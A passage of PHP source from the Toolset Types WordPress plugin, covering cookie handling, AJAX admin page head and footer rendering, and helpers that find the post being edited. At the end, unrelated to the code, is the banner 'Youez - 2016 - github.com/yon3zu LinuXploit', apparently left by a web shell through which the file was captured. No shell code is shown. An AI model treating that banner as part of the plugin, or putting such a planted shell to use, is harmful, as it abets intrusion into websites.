	if ( $key !== false ) {
		unset( $messages[ $key ] );
		update_option( 'wpcf_dismissed_messages', $messages, true );
	}
}


/**
 * Saves cookie.
 *
 */
function wpcf_cookies_add( $data ) {
	if ( isset( $_COOKIE['wpcf'] ) ) {
		$data = array_merge( (array) $_COOKIE['wpcf'], $data );
	}
	setcookie( 'wpcf', $data, time() + $lifetime, COOKIEPATH, COOKIE_DOMAIN );
}


/**
 * Renders page head.
 *
 * @see WPCF_Template::ajax_header()
 */
function wpcf_admin_ajax_head( $title = '' ) {

	/*
	 * Since Types 1.2 and WP 3.5
	 * AJAX head is rendered differently
	 */
	global $wp_version;
	if ( version_compare( $wp_version, '3.4', '>' ) ) {
		// WP Header
		include WPCF_EMBEDDED_ABSPATH . '/includes/ajax/admin-header.php';

		return true;
	}

	global $pagenow;
	$hook_suffix = $pagenow;

	?>
	<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
		"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
	<html xmlns="http://www.w3.org/1999/xhtml" <?php do_action( 'admin_xml_ns' ); ?> <?php language_attributes(); ?>>
	<head>
		<meta http-equiv="Content-Type"
			content="<?php bloginfo( 'html_type' ); ?>; charset=<?php echo get_option( 'blog_charset' ); ?>" />
		<title><?php echo $title; ?></title>
		<?php
		if ( wpcf_compare_wp_version( '3.2.1', '<=' ) ) {
			wp_admin_css( 'global' );
		}
		wp_admin_css();
		wp_admin_css( 'colors' );
		wp_admin_css( 'ie' );
		//            do_action('admin_enqueue_scripts', $hook_suffix);
		do_action( "admin_print_styles-$hook_suffix" );
		do_action( 'admin_print_styles' );
		//            do_action("admin_print_scripts-$hook_suffix");
		do_action( 'admin_print_scripts' );
		//            do_action("admin_head-$hook_suffix");
		//            do_action('admin_head');
		do_action( 'admin_head_wpcf_ajax' );

		?>
		<style type="text/css">
			html {
				height: auto;
			}
		</style>

		<script type="text/javascript">
			// <![CDATA[
			jQuery( function() {
				// Position the help link in the title bar.
				var title = jQuery( '#TB_closeAjaxWindow', window.parent.document );
				if ( title.length != 0 ) {
					title.after( jQuery( '.wpcf-help-link' ) );
				}
			} );
			// ]]>
		</script>

		<link rel="stylesheet" href="<?php echo WPCF_EMBEDDED_RES_RELPATH . '/css/basic.css'; ?>" type="text/css"
			media="all" />

	</head>
	<body style="padding: 20px;">
	<?php
	}

	/**
	 * Renders page footer
	 *
	 * @see WPCF_Template::ajax_footer()
	 */
	function wpcf_admin_ajax_footer() {

	/*
	 * Since Types 1.2 and WP 3.5
	 * AJAX footer is rendered differently
	 */
	global $wp_version, $wpcf;
	if ( version_compare( $wp_version, '3.4', '>' ) ) {
		// WP Footer
		do_action( 'admin_footer_wpcf_ajax' );
		include WPCF_EMBEDDED_ABSPATH . '/includes/ajax/admin-footer.php';

		return true;
	}

	global $pagenow;
	do_action( 'admin_footer_wpcf_ajax' );
	//    do_action('admin_footer', '');
	//    do_action('admin_print_footer_scripts');
	//    do_action("admin_footer-" . $pagenow);

	?>
	</body>
	</html>

	<?php
}

/**
 * Renders JS settings.
 *
 */
function wpcf_admin_render_js_settings() {
	$settings = wpcf_admin_add_js_settings( 'get' );
	if ( empty( $settings ) ) {
		return '';
	}

	?>
	<script type="text/javascript">
		//<![CDATA[
		<?php
		foreach ( $settings as $id => $setting ) {
			if ( is_string( $setting ) ) {
				$setting = trim( $setting, '\'' );
				$setting = "'" . esc_js( $setting ) . "'";
			} else {
				$setting = intval( $setting );
			}
			echo 'var ' . $id . ' = ' . $setting . ';' . "\r\n";
		}

		?>
		//]]>
	</script>
	<?php
}


/**
 * wpcf_get_fields
 *
 * returns the fields handled by types
 *
 */
function wpcf_get_post_meta_field_names() {
	require_once WPCF_EMBEDDED_INC_ABSPATH . '/fields.php';
	$fields = wpcf_admin_fields_get_fields();

	$field_names = array();
	foreach ( $fields as $field ) {
		$field_names[] = wpcf_types_get_meta_prefix( $field ) . $field['slug'];
	}

	return $field_names;
}


/**
 * Forces 'Insert into post' link when called from our WYSIWYG.
 *
 * @param array $args
 *
 * @return array
 */
function wpcf_get_media_item_args_filter( $args ) {
	if ( strpos( $_SERVER['SCRIPT_NAME'], '/media-upload.php' ) === false ) {
		return $args;
	}
	if ( ! empty( $_COOKIE['wpcfActiveEditor'] )
		&& strpos( $_COOKIE['wpcfActiveEditor'], 'wpcf-wysiwyg-' ) !== false ) {
		$args['send'] = true;
	}

	return $args;
}


/**
 * Gets post.
 *
 * @return WP_Post|array
 */
function wpcf_admin_get_edited_post() {
	// Global $post_ID holds post IDs for new posts too.
	global $post_ID;
	if ( ! empty( $post_ID ) ) {
		$post_id = $post_ID;
	} elseif ( isset( $_GET['post'] ) ) {
		$post_id = (int) $_GET['post'];
	} elseif ( isset( $_POST['post_ID'] ) ) {
		$post_id = (int) $_POST['post_ID'];
	} else {
		$post_id = 0;
	}

	if ( $post_id ) {
		if ( $post = get_post( $post_id ) ) {
			return $post;
		}
	}

	// check for repeatable field gropu item
	if ( $post = wpcf_admin_get_repeatable_group_item_by_request() ) {
		return $post;
	}

	// nothing found
	return array();
}


/**
 * When requesting a repeatable field group we put on the item loop each item
 * to $_REQUEST['repeatable_group_item_post'] to make it work with Enlimbo
 *
 * @return WP_Post|false
 *
 * @since m2m
 */
function wpcf_admin_get_repeatable_group_item_by_request() {
	if ( isset( $_REQUEST['repeatable_group_item_post'] )
		&& $_REQUEST['repeatable_group_item_post']
		instanceof
		WP_Post ) {
		return $_REQUEST['repeatable_group_item_post'];
	}

	return false;
}


/**
 * wpcf_admin_get_current_edited_post
 *
 * Wrapper for wpcf_admin_get_edited_post returning nul instead of an empty array when the current post can not be
 * guessed.
 *
 * Used on the Views integration at /library/tolset/types/embedded/classes/wpviews.php
 * when calculating the current post so we can display the right fields in the Fields and Views dialog.
 *
 * @since 2.2
 */

add_filter( 'wpcf_filter_wpcf_admin_get_current_edited_post', 'wpcf_admin_get_current_edited_post' );

function wpcf_admin_get_current_edited_post( $current_post = null ) {
	$current_post = wpcf_admin_get_edited_post();
	if ( empty( $current_post ) ) {
		return null;
	}

	return $current_post;
}


/**
 * Gets post type.
 *
 * @param WP_Post $post
 *
 * @return string
 */
function wpcf_admin_get_edited_post_type( $post = null ) {
	if ( ! empty( $post->ID ) ) {
		return get_post_type( $post );
	}

	if ( ! isset( $_GET['post_type'] ) ) {
		return 'post';
	}

	if ( in_array( $_GET['post_type'], get_post_types( array( 'show_ui' => true ) ), true ) ) {
		return sanitize_text_field( $_GET['post_type'] );
	}

	return 'post';
}

Youez - 2016 - github.com/yon3zu
LinuXploit